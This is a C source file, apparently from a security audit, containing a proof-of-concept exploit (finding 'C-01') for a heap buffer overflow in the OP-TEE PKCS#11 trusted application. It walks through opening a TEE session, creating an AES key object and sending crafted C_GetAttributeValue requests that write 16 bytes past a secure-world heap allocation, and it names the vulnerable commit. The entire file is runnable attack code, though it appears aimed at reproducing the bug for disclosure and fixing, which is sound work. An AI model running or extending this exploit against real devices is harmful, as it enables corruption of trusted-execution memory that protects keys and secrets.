/* * C-01 PoC: Heap Buffer Overflow in PKCS#11 C_GetAttributeValue * * Triggers the bug in entry_get_attribute_value() (ta/pkcs11/src/object.c) * by sending a C_GetAttributeValue request with attrs_size = 8 (one header, * zero data bytes) and cli_head.size = 16 (bypassing the size guard), * causing a 16-byte write past the end of the 16-byte template allocation * in the Secure World heap. * * Build (AArch64): * See build_poc.sh * Run in QEMU (as root): * mount -t 9p -o trans=virtio host /mnt/host * /mnt/host/c01_poc */ #include #include #include #include #include /* PKCS#11 TA UUID: fd02c9da-306c-48c7-a49c-bbd827ae86ee */ static const TEEC_UUID pkcs11_ta_uuid = { 0xfd02c9da, 0x306c, 0x48c7, { 0xa4, 0x9c, 0xbb, 0xd8, 0x27, 0xae, 0x86, 0xee } }; /* PKCS#11 TA command IDs (from ta/pkcs11/include/pkcs11_ta.h) */ #define CMD_INIT_TOKEN 10 #define CMD_OPEN_SESSION 6 #define CMD_CREATE_OBJECT 15 #define CMD_GET_ATTRIBUTE_VALUE 38 /* Attribute IDs (internal TA values from pkcs11_ta.h) */ #define CKA_CLASS 0x0000 #define CKA_TOKEN 0x0001 #define CKA_LABEL 0x0003 #define CKA_VALUE 0x0011 #define CKA_KEY_TYPE 0x0100 #define CKA_DECRYPT 0x0105 #define CKA_MODIFIABLE 0x0170 /* Object/key class values */ #define CKO_SECRET_KEY 0x0004 #define CKK_AES 0x001f #define CK_TRUE 0x01 #define CK_FALSE 0x00 /* Session flags */ #define CKF_RW_SESSION 0x00000002 #define CKF_SERIAL_SESSION 0x00000004 /* Return codes */ #define CKR_OK 0x00000000 /* * Invoke a PKCS#11 TA command. * ctrl = INOUT param[0]: TA reads args, writes 4-byte return code back * out = OUTPUT param[2]: TA writes response data here * Returns the 4-byte PKCS#11 return code from the TA. */ static uint32_t pkcs11_cmd(TEEC_Session *sess, uint32_t cmd, void *ctrl, size_t ctrl_size, void *out, size_t *out_size) { TEEC_Operation op = { 0 }; uint32_t origin = 0; TEEC_Result res; uint32_t rc = 0; op.params[0].tmpref.buffer = ctrl; op.params[0].tmpref.size = ctrl_size; if (out && out_size) { op.params[2].tmpref.buffer = out; op.params[2].tmpref.size = *out_size; op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INOUT, TEEC_NONE, TEEC_MEMREF_TEMP_OUTPUT, TEEC_NONE); } else { op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INOUT, TEEC_NONE, TEEC_NONE, TEEC_NONE); } res = TEEC_InvokeCommand(sess, cmd, &op, &origin); /* * The TA writes the 4-byte return code to ctrl[0..3] and sets * params[0].tmpref.size = 4 (entry.c:366-367). */ memcpy(&rc, ctrl, sizeof(rc)); if (out_size) *out_size = op.params[2].tmpref.size; if (res == TEEC_ERROR_SHORT_BUFFER) return 0x00000150; /* CKR_BUFFER_TOO_SMALL */ return (res == TEEC_SUCCESS) ? rc : 0xFFFFFFFF; } /* Pack a uint32 into a byte buffer and advance pointer */ static void put_u32(uint8_t **p, uint32_t v) { memcpy(*p, &v, 4); *p += 4; } /* Pack n bytes into a byte buffer and advance pointer */ static void put_bytes(uint8_t **p, const void *src, size_t n) { memcpy(*p, src, n); *p += n; } int main(void) { TEEC_Context ctx; TEEC_Session sess; uint32_t origin = 0; uint32_t rc; uint8_t ctrl[256]; uint8_t out[256]; uint8_t *p; size_t out_sz; printf("[C-01 PoC] Heap Buffer Overflow in PKCS#11 C_GetAttributeValue\n"); printf("[C-01 PoC] Vulnerable commit: 06c4e95e469c9c89e9ba4a6915d1be7bb8ea6fbc\n"); /* --- Step 1: Open TEEC context and session with PKCS#11 TA --- */ if (TEEC_InitializeContext(NULL, &ctx) != TEEC_SUCCESS) { fprintf(stderr, "[-] TEEC_InitializeContext failed\n"); return 1; } if (TEEC_OpenSession(&ctx, &sess, &pkcs11_ta_uuid, TEEC_LOGIN_PUBLIC, NULL, NULL, &origin) != TEEC_SUCCESS) { fprintf(stderr, "[-] TEEC_OpenSession failed (origin=%u)\n", origin); TEEC_FinalizeContext(&ctx); return 1; } printf("[+] TEEC session with PKCS#11 TA opened\n"); /* --- Step 2: Initialize token (slot 0, no PIN) --- */ /* ctrl = [slot_id(4)][pin_len(4)][label(32)] */ p = ctrl; put_u32(&p, 0); /* slot_id = 0 */ put_u32(&p, 0); /* pin_len = 0 */ put_bytes(&p, "C01 PoC Token ", 32); /* label (32 bytes) */ rc = pkcs11_cmd(&sess, CMD_INIT_TOKEN, ctrl, p - ctrl, NULL, NULL); printf("[+] INIT_TOKEN rc=0x%08x %s\n", rc, rc == CKR_OK ? "OK" : "(check: may already be initialized)"); /* --- Step 3: Open R/W session on slot 0 --- */ /* ctrl = [slot_id(4)][flags(4)] → out = [session_handle(4)] */ p = ctrl; put_u32(&p, 0); /* slot_id */ put_u32(&p, CKF_RW_SESSION | CKF_SERIAL_SESSION); /* flags */ out_sz = 4; /* TA checks out->memref.size == sizeof(session_handle) exactly */ rc = pkcs11_cmd(&sess, CMD_OPEN_SESSION, ctrl, p - ctrl, out, &out_sz); if (rc != CKR_OK) { fprintf(stderr, "[-] OPEN_SESSION failed: rc=0x%08x\n", rc); goto close; } uint32_t session_handle; memcpy(&session_handle, out, 4); printf("[+] OPEN_SESSION rc=0x%08x, session_handle=0x%08x\n", rc, session_handle); /* --- Step 4: Create AES session object with CKA_LABEL --- */ /* * Object attributes (OP-TEE internal IDs): * CKA_CLASS(0x0000) = CKO_SECRET_KEY(4) [4+4+4 = 12 bytes] * CKA_TOKEN(0x0001) = CK_FALSE(0) [4+4+1 = 9 bytes] * CKA_MODIFIABLE(0x170)= CK_TRUE(1) [4+4+1 = 9 bytes] * CKA_KEY_TYPE(0x100) = CKK_AES(0x1f) [4+4+4 = 12 bytes] * CKA_DECRYPT(0x105) = CK_TRUE(1) [4+4+1 = 9 bytes] * CKA_VALUE(0x011) = 16-byte AES key [4+4+16 = 24 bytes] * CKA_LABEL(0x003) = "AAAAAAAAAAAAAAAA" [4+4+16 = 24 bytes] * * Total attrs_size = 12+9+9+12+9+24+24 = 99 bytes * attrs_count = 7 */ static const uint8_t aes_key[16] = { 0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07, 0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f }; static const uint8_t label[16] = "AAAAAAAAAAAAAAAA"; uint32_t attrs_size = (4+4+4) + (4+4+1) + (4+4+1) + (4+4+4) + (4+4+1) + (4+4+16) + (4+4+16); /* = 12 + 9 + 9 + 12 + 9 + 24 + 24 = 99 */ uint32_t attrs_count = 7; p = ctrl; put_u32(&p, session_handle); /* pkcs11_object_head */ put_u32(&p, attrs_size); put_u32(&p, attrs_count); /* CKA_CLASS = CKO_SECRET_KEY */ put_u32(&p, CKA_CLASS); put_u32(&p, 4); put_u32(&p, CKO_SECRET_KEY); /* CKA_TOKEN = CK_FALSE */ put_u32(&p, CKA_TOKEN); put_u32(&p, 1); *p++ = CK_FALSE; /* CKA_MODIFIABLE = CK_TRUE */ put_u32(&p, CKA_MODIFIABLE); put_u32(&p, 1); *p++ = CK_TRUE; /* CKA_KEY_TYPE = CKK_AES */ put_u32(&p, CKA_KEY_TYPE); put_u32(&p, 4); put_u32(&p, CKK_AES); /* CKA_DECRYPT = CK_TRUE */ put_u32(&p, CKA_DECRYPT); put_u32(&p, 1); *p++ = CK_TRUE; /* CKA_VALUE = 16-byte AES key */ put_u32(&p, CKA_VALUE); put_u32(&p, 16); put_bytes(&p, aes_key, 16); /* CKA_LABEL = "AAAAAAAAAAAAAAAA" (16 bytes) */ put_u32(&p, CKA_LABEL); put_u32(&p, 16); put_bytes(&p, label, 16); out_sz = 4; /* TA checks out->memref.size == sizeof(obj_handle) exactly */ rc = pkcs11_cmd(&sess, CMD_CREATE_OBJECT, ctrl, p - ctrl, out, &out_sz); if (rc != CKR_OK) { fprintf(stderr, "[-] CREATE_OBJECT failed: rc=0x%08x\n", rc); goto close; } uint32_t obj_handle; memcpy(&obj_handle, out, 4); printf("[+] CREATE_OBJECT rc=0x%08x, obj_handle=0x%08x\n", rc, obj_handle); printf("[+] Object has CKA_LABEL = \"AAAAAAAAAAAAAAAA\" (16 bytes)\n"); /* --- Step 5: Trigger the heap buffer overflow --- */ /* * Malicious GET_ATTRIBUTE_VALUE request: * * ctrl = [session_handle(4)][obj_handle(4)] * [pkcs11_object_head: attrs_size=8, attrs_count=1] <- CRAFTED * [pkcs11_attribute_head: id=CKA_LABEL, size=16] <- CRAFTED * * Total ctrl: 4+4+8+8 = 24 bytes * * In the TA (entry_get_attribute_value, object.c:828-872): * template = alloc(sizeof(pkcs11_object_head) + attrs_size) * = alloc(8 + 8) = 16 bytes * cur = template + 8 * end = cur + 8 <- attrs_size = 8 * cli_ref = cur <- within allocation * data_ptr = cur + 8 = end <- PAST ALLOCATION * get_attribute() writes 16 bytes at data_ptr -> HEAP OVERFLOW */ printf("[+] Sending malicious C_GetAttributeValue (attrs_size=8, cli_head.size=16)...\n"); for (int i = 0; i < 5; i++) { p = ctrl; put_u32(&p, session_handle); /* session handle */ put_u32(&p, obj_handle); /* object handle */ /* pkcs11_object_head: CRAFTED attrs_size=8 (one header, zero data) */ put_u32(&p, 8); /* attrs_size = sizeof(pkcs11_attribute_head) only */ put_u32(&p, 1); /* attrs_count = 1 */ /* pkcs11_attribute_head: CRAFTED size=16 (bypasses size guard) */ put_u32(&p, CKA_LABEL); /* id = CKA_LABEL */ put_u32(&p, 16); /* size = 16 (>= actual, bypasses check) */ /* * out_sz = sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16. * The TA copies exactly out->memref.size bytes from template at * object.c:915; setting this to 16 avoids a spurious read overflow * before or instead of the intended write overflow. */ out_sz = 16; rc = pkcs11_cmd(&sess, CMD_GET_ATTRIBUTE_VALUE, ctrl, p - ctrl, out, &out_sz); printf("[+] GET_ATTRIBUTE_VALUE[%d] rc=0x%08x\n", i, rc); /* * Expected: heap corruption in TA's secure world heap. * The TA may continue temporarily before crashing on the next * heap operation (TEE_Panic in bget allocator). * Check serial1.log for: "Panic at" or "assertion failed". */ } printf("[+] Done. If the TA is still responding, the corruption may be\n"); printf(" latent. Check /tmp/serial1.log for TEE panic output.\n"); close: TEEC_CloseSession(&sess); TEEC_FinalizeContext(&ctx); return 0; }